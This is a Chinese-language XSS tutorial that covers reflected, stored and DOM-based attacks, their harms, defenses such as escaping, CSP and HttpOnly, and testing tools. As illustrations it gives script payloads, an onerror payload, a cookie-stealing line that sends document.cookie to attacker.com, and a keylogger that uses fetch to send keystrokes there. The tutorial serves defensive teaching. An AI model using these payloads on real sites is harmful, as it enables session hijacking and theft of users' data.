xss漏洞

1. XSS漏洞概述​

​XSS(Cross-Site Scripting,跨站脚本攻击)​​ 是一种安全漏洞,攻击者通过向网页注入恶意脚本(通常是JavaScript),使得这些脚本在受害者的浏览器中执行。XSS漏洞通常发生在Web应用程序未对用户输入进行适当过滤和转义的情况下。

​1.1 XSS漏洞的核心特点​

  • 攻击方式:攻击者注入恶意脚本,受害者浏览器执行。
  • 利用点:Web应用程序未正确过滤用户输入。
  • 影响范围:可窃取用户Cookie、会话令牌,篡改网页内容,甚至控制用户浏览器。

​2. XSS漏洞分类​

XSS漏洞主要分为三类:​反射型XSS、存储型XSS、DOM型XSS。

​2.1 反射型XSS(Reflected XSS)​​

  • 特点 :
    • 恶意脚本来自当前HTTP请求(如URL参数)。
    • 不会存储在服务器上,仅影响点击恶意链接的用户。
  • 攻击流程 :
    1. 攻击者构造恶意URL,如:

      复制代码

      复制

      复制代码
      http://example.com/search?q=<script>alert('XSS')</script>
    2. 诱骗用户点击该URL(如通过钓鱼邮件、社交工程)。

    3. 服务器返回包含恶意脚本的页面,用户浏览器执行该脚本。

  • 典型场景 :
    • 搜索框、错误消息、URL参数等未过滤的输入点。

​2.2 存储型XSS(Stored XSS / Persistent XSS)​​

  • 特点 :
    • 恶意脚本存储在服务器(如数据库、文件、缓存)。
    • 所有访问受影响页面的用户都会执行该脚本。
  • 攻击流程 :
    1. 攻击者提交恶意内容(如评论、留言

      复制代码
      <script>alert('XSS')</script>
    2. 服务器存储该内容并返回给其他用户。

    3. 受害者访问该页面时,恶意脚本自动执行。

  • 典型场景 :
    • 论坛评论、用户资料、博客文章等可存储用户输入的地方。

​2.3 DOM型XSS(DOM-based XSS)​​

  • 特点 :
    • 完全在客户端执行,不涉及服务器。
    • 由于JavaScript动态修改DOM导致的安全问题。
  • 攻击流程 :
    1. 攻击者构造特殊URL,如:

      复制代码

      复制

      复制代码
      http://example.com/#<script>alert('XSS')</script>
    2. 用户访问该URL,前端JavaScript解析URL并写入Dom

      复制代码
      document.write(location.hash.substring(1));
    3. 恶意脚本被执行。

  • 典型场景 :
    • 使用location.hash、document.write、innerHTML等动态操作DOM的代码。

​3. XSS攻击的危害​

XSS漏洞可导致多种严重安全问题:

​3.1 窃取用户数据​

  • 盗取Cookie :攻击者可窃取用户的会话Cookie,劫持账户。

    复制代码
    document.location='http://attacker.com/steal?cookie='+document.cookie;
  • 获取表单数据 :监听oninput事件窃取密码。

  • 读取本地存储 :访问localStorage、sessionStorage。

​3.2 会话劫持​

  • 冒充用户执行操作(如转账、修改资料)。
  • 利用XMLHttpRequest或fetch发送恶意请求。

​3.3 网页篡改​

  • 修改页面内容(如插入虚假登录框)。

  • 重定向到恶意网站:

    复制代码
    window.location.href = "http://phishing-site.com";

​3.4 键盘记录​

  • 监听onkeypress事件记录用户

    复制代码
    document.onkeypress = function(e) { 
      fetch('http://attacker.com/log?key=' + e.key);
    };

​3.5 传播蠕虫​

  • 自动转发恶意链接(如社交网络XSS蠕虫)。

​4. XSS防御措施​

​4.1 输入过滤与转义​

复制代码
function escapeHtml(text) {
  return text
    .replace(/&/g, "&amp;")
    .replace(/</g, "&lt;")
    .replace(/>/g, "&gt;")
    .replace(/"/g, "&quot;")
    .replace(/'/g, "&#039;");
}
  • JavaScript转义 :

    复制代码
    function escapeJs(text) {
      return text.replace(/"/g, '\\"');
    }

​4.2 输出编码​

  • 前端框架自动转义 :
    • React:默认转义{userInput}。
    • Vue.js:v-text自动转义,v-html需谨慎使用。

​4.3 使用Content Security Policy (CSP)​​

  • 限制脚本来源:

    复制代码
    Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com

​4.4 HttpOnly Cookie​

  • 防止JavaScript访问

    复制代码
    Set-Cookie: sessionId=123; HttpOnly; Secure

​4.5 避免危险的DOM操作​

  • 避免使用innerHTML、document.write,改用textContent:

    复制代码
    element.textContent = userInput; // 安全
    element.innerHTML = userInput;  // 危险

​5. 测试与检测XSS漏洞​

​5.1 手动测试​

  • 尝试注入基本Payload:

    复制代码
    <script>alert(1)</script>
    <img src=x onerror=alert(1)>
  • 检查是否被转义:

    复制代码
    &lt;script&gt;alert(1)&lt;/script&gt; <!-- 已转义 -->

​5.2 自动化工具​

  • Burp Suite:扫描XSS漏洞。
  • OWASP ZAP:自动化安全测试。
  • XSS Hunter:检测存储型XSS。

​6. 总结​

​类型​ ​存储位置​ ​触发方式​ ​防御措施​
​反射型XSS​ URL参数 用户点击恶意链接 输入过滤、输出编码
​存储型XSS​ 数据库 访问受感染页面 严格输入验证、CSP
​DOM型XSS​ 前端JS 动态DOM操作 避免innerHTML、eval
相关推荐
卸任4 小时前
Vibe coding工具使用心得
前端·ai编程
brien95 小时前
为什么模型标称 1M,Google Antigravity 聊到 256K 却突然失忆?我们给它做了个原生行内监控圆环
前端
修炼的dance5 小时前
录屏关键帧间隔多少合适?六档实测,2秒到10秒小了75.6%
前端
Lank_M5 小时前
关键帧从1秒拉到10秒,录屏小87.3%,摄像头小10.8%
前端
补码缩写5 小时前
用 ffprobe 拆录屏,八成字节在 29 个关键帧上
前端
百思不得小李5 小时前
一个复杂的动态表单是如何实现的
前端·设计模式
陈随易5 小时前
Cmder 停更 17 个月,2.0 支持 Windows Terminal
前端·后端·程序员
风骏时光牛马6 小时前
前沿视界
前端
kyriewen6 小时前
我扫了 814 个依赖,97 个还敢要 Node 10
前端·javascript·程序员
陈随易6 小时前
3000 万人在用的翻译插件,重写一遍就是一门生意
前端·后端·程序员